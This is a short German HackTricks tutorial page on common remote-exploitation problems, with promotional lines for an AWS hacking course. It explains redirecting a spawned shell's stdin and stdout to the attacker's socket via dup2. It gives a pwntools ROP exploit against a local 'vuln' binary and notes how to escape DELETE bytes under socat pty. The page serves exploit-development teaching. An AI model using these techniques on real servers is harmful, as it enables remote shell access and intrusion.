Common Exploiting Problems

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

FDs in Remote Exploitation

Beim Senden eines Exploits an einen Remote-Server, der beispielsweise system('/bin/sh') aufruft, wird dies natürlich im Serverprozess ausgeführt, und /bin/sh erwartet Eingaben von stdin (FD: 0) und gibt die Ausgabe in stdout und stderr aus (FDs 1 und 2). Der Angreifer kann also nicht mit der Shell interagieren.

Eine Möglichkeit, dies zu beheben, besteht darin anzunehmen, dass der Server beim Starten die FD-Nummer 3 (für das Zuhören) erstellt hat und dass dann Ihre Verbindung in der FD-Nummer 4 erfolgt. Daher ist es möglich, den Syscall dup2 zu verwenden, um stdin (FD 0) und stdout (FD 1) in FD 4 (der des Angreiferanschlusses) zu duplizieren, sodass es möglich wird, die Shell zu kontaktieren, sobald sie ausgeführt wird.

Exploitbeispiel von hier:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Beachten Sie, dass socat bereits stdin und stdout zum Socket überträgt. Der pty-Modus beinhaltet jedoch DELETE-Zeichen. Wenn Sie also ein \x7f (DELETE) senden, wird das vorherige Zeichen Ihres Exploits gelöscht.

Um dies zu umgehen, muss das Escape-Zeichen \x16 jedem gesendeten \x7f vorangestellt werden.

Hier finden Sie ein Beispiel dieses Verhaltens.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated